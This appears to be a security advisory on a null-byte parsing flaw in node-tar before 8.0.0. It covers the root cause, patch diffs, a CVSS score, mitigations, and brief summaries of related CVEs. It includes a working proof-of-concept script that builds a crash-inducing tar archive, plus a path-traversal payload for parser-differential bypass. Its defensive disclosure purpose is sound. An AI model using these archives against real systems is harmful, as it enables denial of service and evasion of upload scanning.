Dec 2, 2026·11 min read·0 visits
In node-tar prior to version 8.0.0, the regular expression /\0.*/ fails to strip characters after a line break in null-terminated TAR header strings. Processing an archive with a null byte followed by a newline causes embedded null bytes to reach Node.js fs bindings, triggering an unhandled ERR_INVALID_ARG_VALUE exception and crashing the runtime process, or causing path resolution differentials.
CVE-2026-140234 (GHSA-wpwg-r92p-fjjh) is an improper null byte neutralization vulnerability (CWE-158) in node-tar versions prior to 8.0.0. The regular expression used to truncate null-terminated header strings omits the dotAll (s) flag, causing truncation to halt prematurely when a null byte is followed by a line terminator. This defect allows embedded null bytes and trailing characters to persist in parsed file and link paths, resulting in asynchronous Node.js process crashes via native filesystem validation errors and path differentials against compliant TAR implementations.
node-tar (published on npm as tar) is the primary archive manipulation library used across the Node.js ecosystem, providing programmatic interfaces to create, parse, list, and extract POSIX ustar, GNU, and PAX tar archives. Because node-tar is embedded within package managers, build pipelines, deployment tooling, and web services that accept uploaded archive bundles, its header parsing logic represents a critical attack surface when processing untrusted inputs.
CVE-2026-140234 (also tracked as GHSA-wpwg-r92p-fjjh) is classified under CWE-158 (Improper Neutralization of Null Byte or NUL Character). In all versions of node-tar prior to 8.0.0, the routines responsible for decoding null-terminated strings from archive headers rely on the regular expression .replace(/\0.*/, '') to remove the first NUL byte (0x00) and all subsequent padding or garbage bytes within fixed-width or extended fields.
In the ECMAScript specification, the . wildcard metacharacter matches any character except line terminators (\n, \r, U+2028, and U+2029) unless the dotAll (s) flag is explicitly provided. Consequently, when an archive header contains a NUL byte followed by a line terminator, the regular expression replacement truncates only the segment between the initial NUL byte and the line break. The line terminator and all characters following it—including any additional NUL bytes—survive inside the parsed file path or symbolic link target.
This parsing flaw introduces two primary security impacts. First, when surviving NUL bytes are passed to asynchronous Node.js fs operations during archive extraction, the runtime throws an ERR_INVALID_ARG_VALUE exception that can terminate the host Node.js process (Denial of Service). Second, when surviving trailing segments are processed by path transformation routines such as strip (or stripComponents), node-tar resolves a different target file path than standard tools like GNU tar, bsdtar, or Python's tarfile module, enabling parser differential attacks.
The TAR archive format specifications (POSIX.1-1988 ustar, POSIX.1-2001 PAX, and GNU extensions) define header string fields as fixed-length byte arrays or length-prefixed records where strings are terminated by an ASCII NUL byte (0x00). For example, the standard ustar name field occupies bytes 0 through 99 (100 bytes), and the linkname field occupies bytes 157 through 256 (100 bytes). Compliant parsers must treat the first 0x00 byte encountered in the field as the end of the string, ignoring all remaining bytes in the buffer.
In node-tar versions prior to 8.0.0, string termination was performed after decoding the raw byte slice into a UTF-8 JavaScript string rather than scanning the underlying byte buffer for 0x00 beforehand. Across src/header.ts (for ustar fields), src/parse.ts (for GNU OldGnuLongPath type L and NextFileHasLongLinkpath type K metadata blocks), and src/pax.ts (for PAX key-value records), the decoded string was sanitized via .replace(/\0.*/, '').
Because the regular expression lacks the s (dotAll) modifier, the greedy .* quantifier halts as soon as it encounters any of the four ECMAScript line terminators: Line Feed (\n, 0x0A), Carriage Return (\r, 0x0D), Line Separator (\u2028), or Paragraph Separator (\u2029). Given an input field containing a\0b\nc\0d, the expression matches only \0b, replacing it with an empty string and returning a\nc\0d as the valid entry path.
If the surviving suffix after the line break contains a second NUL byte (as in a\nc\0d), the resulting ReadEntry object retains an embedded \u0000 character in its path or linkpath property. When node-tar subsequently attempts to extract this entry to disk, it passes the tainted path string directly to Node.js core fs functions (fs.open, fs.lstat, fs.mkdir, or fs.symlink).
Internally, the Node.js fs layer executes validatePath(path) prior to invoking libuv bindings. This validation function checks if (path.indexOf('\u0000') !== -1) and synchronously throws a TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string without null bytes. During asynchronous stream extraction in node-tar, this synchronous exception thrown inside an asynchronous callback boundary is not caught by standard I/O error handlers, propagating as an uncaught exception that crashes the Node.js runtime.
Even if the surviving suffix after the line terminator does not contain a second NUL byte (e.g., dir/file\0\n/sub/target), the trailing characters remain appended to the entry name. When path manipulation options like strip: 1 or custom filter callbacks are executed, node-tar evaluates path segments located after the NUL byte, whereas C-based archive utilities stop reading at the first 0x00 byte. This creates a structural desynchronization between security inspection layers and the extraction engine.
The vulnerability existed across three distinct parsing modules in node-tar: src/header.ts, src/parse.ts, and src/pax.ts. The initial remediation was committed in f351e5b4a8916bc8c8f821d0ad926a17d26ea237, followed by a comprehensive byte-level architectural redesign in commits 0ad611cf8afdb307aa82c31303d15df1f5403c43 and 634eea74d893808fcf297272d6bbdaeedd69d3f4 for the v8.0.0 release.
In the initial patch (f351e5b4a8916bc8c8f821d0ad926a17d26ea237), the regular expressions in all three header decoding paths were updated to include the s (dotAll) flag so that . matches line terminators. Furthermore, in src/parse.ts, assignment operators were changed to nullish coalescing assignment (??=) to align precedence behavior with standard tar implementations when multiple extended headers are present.
diff --git a/src/header.ts b/src/header.ts
index 858a9838..6bdcdac5 100644
--- a/src/header.ts
+++ b/src/header.ts
@@ -351,7 +351,7 @@ const decString = (buf: Buffer, off: number, size: number) =>
buf
.subarray(off, off + size)
.toString('utf8')
- .replace(/\0.*/, '')
+ .replace(/\0.*/s, '') // Added 's' (dotAll) flag so .* matches across \n, \r, \u2028, and \u2029
const decDate = (buf: Buffer, off: number, size: number) =>
numToDate(decNumber(buf, off, size))
diff --git a/src/parse.ts b/src/parse.ts
index bc775a4f..bca52392 100644
--- a/src/parse.ts
+++ b/src/parse.ts
@@ -387,14 +393,14 @@ export class Parser extends EE implements Warner {
case 'OldGnuLongPath': {
const ex: Pax = this[EX] ?? Object.create(null)
this[EX] = ex
- ex.path = this[META].replace(/\0.*/, '')
+ ex.path ??= this[META].replace(/\0.*/s, '') // Truncate across line breaks in GNU type 'L' headers
break
}
case 'NextFileHasLongLinkpath': {
const ex: Pax = this[EX] || Object.create(null)
this[EX] = ex
- ex.linkpath = this[META].replace(/\0.*/, '')
+ ex.linkpath ??= this[META].replace(/\0.*/s, '') // Truncate across line breaks in GNU type 'K' headers
break
}
diff --git a/src/pax.ts b/src/pax.ts
index d528ae77..e8dd0920 100644
--- a/src/pax.ts
+++ b/src/pax.ts
@@ -176,7 +187,7 @@ const parseKVLine = (
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
- const v = kv.join('=').replace(/\0.*/, '')
+ const v = kv.join('=').replace(/\0.*/s, '') // Truncate across line breaks in PAX extended key-value records
switch (k) {
case 'path':
case 'linkpath':In the subsequent commits leading into v8.0.0, the author replaced the string-based regular expression truncation entirely with raw byte scanning on Uint8Array slices prior to UTF-8 string decoding:
// src/header.ts (v8.0.0 implementation)
// Scan the raw Uint8Array buffer for the first 0x00 byte before decoding UTF-8
const decString = (buf: Uint8Array, off: number, size: number) => {
let end = off
const max = Math.min(off + size, buf.length)
while (end < max && buf[end] !== 0) end++
return decodeUtf8(buf, off, end)
}
// src/parser.ts (v8.0.0 implementation for GNU long paths/links)
const cstring = (buf: Uint8Array) => {
const nul = buf.indexOf(0)
return decodeUtf8(buf, 0, nul === -1 ? buf.length : nul)
}> [!NOTE]
> Fix Completeness Assessment: Both the .replace(/\0.*/s, '') patch and the subsequent byte-level Uint8Array scanning architecture in version 8.0.0 completely resolve the vulnerability. The byte-level scanning approach (buf[end] !== 0 and buf.indexOf(0)) is structurally superior because it eliminates unnecessary UTF-8 decoding of trailing garbage bytes, prevents invalid multi-byte UTF-8 sequences situated across or after a NUL boundary from corrupting characters prior to regex evaluation, and strictly mirrors the C strnlen behavior used by standard system tar implementations.
Exploiting CVE-2026-140234 requires an attacker to supply a crafted .tar archive to an application or service that parses or extracts it using node-tar < 8.0.0. No authentication or special runtime configuration is required beyond triggering archive processing. The payload can be placed in a standard 512-byte ustar header name or linkname field, a GNU LongLink (L or K) data block, or a PAX extended header (x or g) attribute.
To trigger an immediate application crash during extraction, the attacker constructs a valid 512-byte ustar header block where the name field (offset 0, length 100) contains a valid filename prefix, an initial 0x00 byte, a line terminator (0x0A or 0x0D), arbitrary printable characters, and a second 0x00 byte followed by trailing characters. The header checksum (offset 148, length 8) is then recalculated as the octal sum of all 512 bytes (treating the checksum field itself as ASCII spaces 0x20).
import fs from 'node:fs';
import * as tar from 'tar';
// Allocate a 512-byte ustar header block
const block = Buffer.alloc(512);
// Payload: Initial NUL followed by CRLF and a second NUL before trailing characters
// Vulnerable regex /\0.*/ strips only "\0\r", leaving "\nsubsequent_data\0hidden"
const maliciousName = "benign_file.txt\0\r\nsubsequent_data\0hidden";
block.write(maliciousName, 0, 'utf8');
// Standard ustar header metadata fields
block.write('000644 \0', 100); // Mode
block.write('001000 \0', 108); // UID
block.write('001000 \0', 116); // GID
block.write('00000000000 \0', 124); // Size (0 bytes)
block.write('14400000000 \0', 136); // Mtime
block.write('0', 156); // Typeflag: '0' (Regular file)
block.write('ustar\0', 257); // Magic
block.write('00', 263); // Version
// Compute valid TAR header checksum
block.fill(0x20, 148, 156);
let checksum = 0;
for (let i = 0; i < 512; i++) {
checksum += block[i];
}
block.write(checksum.toString(8).padStart(6, '0') + '\0 ', 148);
// Append 1024-byte End-of-Archive zero blocks and write to disk
const tarball = Buffer.concat([block, Buffer.alloc(1024)]);
fs.writeFileSync('poc_crash.tar', tarball);
// Extracting with node-tar < 8.0.0 triggers TypeError [ERR_INVALID_ARG_VALUE]
tar.x({
file: 'poc_crash.tar',
cwd: './output_dir'
});To exploit the parser differential without crashing the process, the attacker omits the second trailing NUL byte after the line break (or places a NUL byte at the very end of the string where no characters follow it). For example, using a path payload of safe_dir/safe_file.txt\0\n../../target_file.txt causes external validation scripts using GNU tar -tf or Python tarfile to observe only safe_dir/safe_file.txt, while node-tar retains the ../../target_file.txt suffix during its path parsing and component-stripping lifecycle.
CVE-2026-140234 carries a CVSS v4.0 base score of 7.1 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N. The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L), No Attack Requirements (AT:N), and No Privileges Required (PR:N), reflecting that any service accepting tar archives from external users or upstream registries is directly reachable. User Interaction is rated Passive (UI:P) for scenarios where a user or automated pipeline extracts a downloaded archive.
The primary impact is on Vulnerable System Availability (VA:H). In a standard multi-tenant Node.js web server or background worker service, passing a path with a surviving \0 byte into asynchronous fs bindings throws ERR_INVALID_ARG_VALUE inside internal stream callbacks. Because Node.js terminates the process by default on uncaught exceptions, a single malformed 1.5 KB archive can repeatedly crash the application server and deny service to all concurrent users.
The secondary impact is on Vulnerable System Integrity (VI:L). In architectures that inspect uploaded tarballs using a separate utility (such as a C/Python/Go scanner or ClamAV archive unpacker) before handing the archive off to a Node.js microservice for extraction, the parser differential allows an attacker to spoof file names or bypass path-based allowlists and denylists. Furthermore, when strip (stripComponents) is configured to remove leading directory prefixes, the presence of unstripped characters and / delimiters after a separator alters how node-tar calculates path depth compared to POSIX-compliant tools.
At the time of publication, CVE-2026-140234 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active in-the-wild exploitation campaigns have been recorded.
The definitive remediation for CVE-2026-140234 is to upgrade the tar package to version 8.0.0 or later. Version 8.0.0 incorporates both the dotAll regex fix and the subsequent Uint8Array byte-scanning parser architecture that terminates header strings strictly at the first 0x00 byte across ustar, GNU long path/link, and PAX headers.
npm install tar@^8.0.0> [!NOTE]
> Upgrade Considerations: node-tar version 8.0.0 introduces breaking changes, including requiring Node.js >= 22 and migrating from legacy callback interfaces to modern Promise-based APIs and iterators. Engineering teams running older Node.js LTS runtimes that cannot immediately upgrade to tar@8.0.0 must apply application-level input filtering.
For environments that must temporarily remain on node-tar v7.x or v6.x, developers should implement a defensive filter and onReadEntry hook on all tar.x / tar.extract and tar.t / tar.list invocations. This hook should explicitly reject or sanitize any entry whose path or linkpath contains null bytes or line terminator characters (\0, \r, \n, \u2028, \u2029).
import * as tar from 'tar';
const INVALID_PATH_CHARS = /[\0\r\n\u2028\u2029]/;
await tar.x({
file: 'untrusted_archive.tar',
cwd: './extract_dir',
filter: (entryPath, entry) => {
if (INVALID_PATH_CHARS.test(entryPath)) {
return false;
}
if (entry.linkpath && INVALID_PATH_CHARS.test(entry.linkpath)) {
return false;
}
return true;
},
onReadEntry: (entry) => {
if (INVALID_PATH_CHARS.test(entry.path) || (entry.linkpath && INVALID_PATH_CHARS.test(entry.linkpath))) {
entry.resume(); // Drain and skip the malicious entry stream
}
}
});CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
tar (node-tar) isaacs | < 8.0.0 (<= 7.5.24) | 8.0.0 |
| Attribute | Detail |
|---|---|
| CVE / GHSA ID | CVE-2026-140234 / GHSA-wpwg-r92p-fjjh |
| Weakness Class | CWE-158: Improper Neutralization of Null Byte or NUL Character |
| CVSS v4.0 Score | 7.1 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N) |
| Affected Package | tar (node-tar) < 8.0.0 |
| Patched Version | tar >= 8.0.0 |
| Primary Impact | Denial of Service (Unhandled ERR_INVALID_ARG_VALUE Crash) & Path Differential |
| Exploit Status | Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes null bytes/characters when sending the input to a downstream component.
CVE-2026-140248 is a High-severity path traversal and symbolic link resolution vulnerability (CWE-59) in the npm package tar (node-tar) affecting versions 7.5.22 through 7.5.24. When extracting archives under default security configurations (preservePaths: false), node-tar validates symbolic link targets using purely lexical path normalization via path.posix functions without accounting for intermediate symbolic link resolution on the host filesystem. By crafting an archive containing chained symbolic links, paths ending in trailing '/.' segments, or POSIX directory names containing backslashes, an attacker can plant a symbolic link inside the extraction directory that resolves to arbitrary locations outside the destination root. Downstream processes reading or writing through the extracted symlink can consequently disclose or overwrite arbitrary files on the host system.
A CRLF injection and HTTP request splitting vulnerability exists in the Ruby addressable gem from version 2.1.2 prior to 2.10.0. The Addressable::URI#request_uri method returns stored control characters and spaces without percent-encoding them. When an HTTP client writes the output of #request_uri directly into an HTTP request line without additional validation or normalization, an attacker supplying an untrusted URI can terminate the request line prematurely, inject arbitrary HTTP headers, or initiate a secondary HTTP request over a keep-alive connection.
CVE-2026-141530 is a user interface misrepresentation vulnerability in the pure-Ruby Internationalized Domain Names in Applications (IDNA) implementation of the Addressable gem (versions 2.0.0 through 2.9.2). The library omits enforcement of the RFC 3454 Section 6 bidirectional rule when converting between Punycode A-labels and Unicode U-labels. Consequently, calling Addressable::IDNA.to_unicode or Addressable::URI#display_uri decodes malformed Punycode labels containing mixed directional categories and trailing digits. When rendered in a standard left-to-right display context, the Unicode Bidirectional Algorithm visually reorders digits across domain label separators, enabling an attacker controlling a complementary domain to spoof a target hostname.
An authentication bypass vulnerability in the Symfony Security HTTP component (symfony/security-http) causes programmatic login operations to skip the checkPostAuth() method of configured user checkers. Because AuthenticatorManager::authenticateUser() fails to dispatch the security.authentication.success event, custom post-authentication restrictions—such as checks for expired or locked accounts—are bypassed when users authenticate via programmatic flows like password resets or email verification callbacks.
CVE-2026-140015 is a high-severity Denial of Service (DoS) vulnerability affecting the Ruby gem websocket-driver in versions prior to 0.9.1. The flaw resides in the HyBi protocol parser (lib/websocket/driver/hybi.rb), which fails to stop buffering incoming TCP stream data after receiving a WebSocket close control frame. Because TCP supports half-open connections, an unauthenticated remote attacker can transmit a close frame to transition the state machine into a non-consuming shutdown stage, and subsequently stream arbitrary data over the open socket to exhaust server heap memory and crash the host Ruby process.
A high-severity denial-of-service vulnerability exists in node-tar versions 7.5.22 prior to 8.0.0 within the synchronous stream extraction implementation (UnpackSync). Due to an asymmetrical reference-counting design between the asynchronous base class Unpack and its synchronous subclass UnpackSync, handling any non-fatal entry error or skipped entry causes the internal pending operation counter to decrement below zero. Because the stream termination logic strictly checks for a counter value equal to zero, the extraction stream enters an unrecoverable state where lifecycle completion events (prefinish, finish, end) are never emitted, permanently blocking downstream stream consumers.